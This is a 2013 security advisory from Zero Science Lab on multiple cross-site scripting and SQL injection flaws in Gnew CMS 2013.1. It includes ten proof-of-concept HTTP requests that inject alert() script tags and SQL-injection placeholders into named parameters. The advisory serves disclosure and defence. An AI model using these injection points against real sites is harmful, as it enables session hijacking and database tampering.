Gnew v2013.1 Multiple XSS And SQL Injection Vulnerabilities
Vendor: Raoul Proença
Product web page: http://www.gnew.fr
Affected version: 2013.1
Summary: Gnew is a simple Content Management
System written with PHP language and using a
database server (MySQL, PostgreSQL or SQLite)
for storage.
Desc: Input passed via several parameters is not properly
sanitised before being returned to the user or used in SQL
queries. This can be exploited to manipulate SQL queries
by injecting arbitrary SQL code and HTML/script code in a
user's browser session in context of an affected site.
============================================================================================
| PARAM | TYPE | FILE |
============================================================================================
| |
| gnew_template | XSS | /users/profile.php, /articles/index.php, /admin/polls.php |
|------------------------------------------------------------------------------------------|
| category_id | XSS | /news/submit.php |
|------------------------------------------------------------------------------------------|
| news_id | XSS, SQLi | /news/send.php, /comments/add.php |
|------------------------------------------------------------------------------------------|
| post_subject | XSS | /posts/edit.php |
|------------------------------------------------------------------------------------------|
| thread_id | XSS, SQLi | /posts/edit.php |
|------------------------------------------------------------------------------------------|
| user_email | SQLi | /users/register.php, /users/password.php |
| |
============================================================================================
Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
Apache 2.4.2 (Win32)
PHP 5.4.7
MySQL 5.5.25a
Vulnerabilities discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2013-5153
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5153.php
23.07.2013
---
#1 [xss]
GET /gnew/users/profile.php HTTP/1.1
Host: localhost
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/gnew/admin/index.php
Cookie: PHPSESSID=8nta354i78d5att3l2gkh9g573; gnew_date_format=D%2C+M+jS+Y%2C+g%3Ai+a; gnew_date_offset=0; gnew_language=english; gnew_template=clean"><script>alert(1)</script>
Connection: keep-alive
#2 [xss]
POST /gnew/news/submit.php HTTP/1.1
Content-Length: 112
Content-Type: application/x-www-form-urlencoded
Referer: http://localhost:80/gnew/
Host: localhost
Connection: Keep-alive
Accept-Encoding: gzip,deflate
category_id=1"><script>alert(2);</script>&news_source=1&news_subject=1&news_text=1&preview=Preview&submit=Submit
#3 [xss]
POST /gnew/news/send.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Referer: http://localhost:80/gnew/
Host: localhost
Connection: Keep-alive
Accept-Encoding: gzip,deflate
friend_email=lab@zeroscience.mk&html_email=1&news_id=572"><script>alert(3);</script>&send=Send&user_email=root@att.com&user_name=admin
#4 [xss]
POST /gnew/comments/add.php HTTP/1.1
Content-Length: 96
Content-Type: application/x-www-form-urlencoded
Referer: http://localhost:80/gnew/
Host: localhost
Connection: Keep-alive
Accept-Encoding: gzip,deflate
add=Add&comment_subject=1&comment_text=1&news_id=574"><script>alert(4);</script>&preview=Preview
#5 [sqli]
POST /gnew/news/send.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Referer: http://localhost:80/gnew/
Host: localhost
Connection: Keep-alive
Accept-Encoding: gzip,deflate
friend_email=lab@zeroscience.mk&html_email=1&news_id=572{SQL Injection}&send=Send&user_email=root@att.com&user_name=admin
#6 [xss]
POST /gnew/posts/edit.php HTTP/1.1
Content-Length: 153
Content-Type: application/x-www-form-urlencoded
Referer: http://localhost:80/gnew/
Host: localhost
Connection: Keep-alive
Accept-Encoding: gzip,deflate
category_id=1&edit=Edit&post_creation=1374594465&post_id=6&post_subject=zsl"><script>alert(5);</script>&post_text=test&preview_edited=Preview&thread_id=6
#7 [xss]
POST /gnew/posts/edit.php HTTP/1.1
Content-Length: 184
Content-Type: application/x-www-form-urlencoded
Referer: http://localhost:80/gnew/
Host: localhost
Connection: Keep-alive
Accept-Encoding: gzip,deflate
category_id=1&edit=Edit&post_creation=1374594465&post_id=6&post_subject=test&post_text=test&preview_edited=Preview&thread_id=6"><script>alert(6);</script>
#8 [sqli]
POST /gnew/posts/edit.php HTTP/1.1
Host: localhost
Content-Length: 127
Content-Type: application/x-www-form-urlencoded
Referer: http://localhost:80/gnew/
Host: localhost
Connection: Keep-alive
Accept-Encoding: gzip,deflate
category_id=1&edit=Edit&post_creation=1374594465&post_id=6&post_subject=test&post_text=test&preview_edited=Preview&thread_id=6{SQL Injection}
#9 [sqli]
POST /gnew/users/password.php HTTP/1.1
Host: localhost
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/gnew/users/password.php
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 40
user_name=test&user_email={SQL Injection}&password=Send
#10 [sqli]
POST /gnew/users/register.php HTTP/1.1
Host: localhost
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/gnew/users/password.php
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 40
user_name=test&user_email={SQL Injection}&password=Send
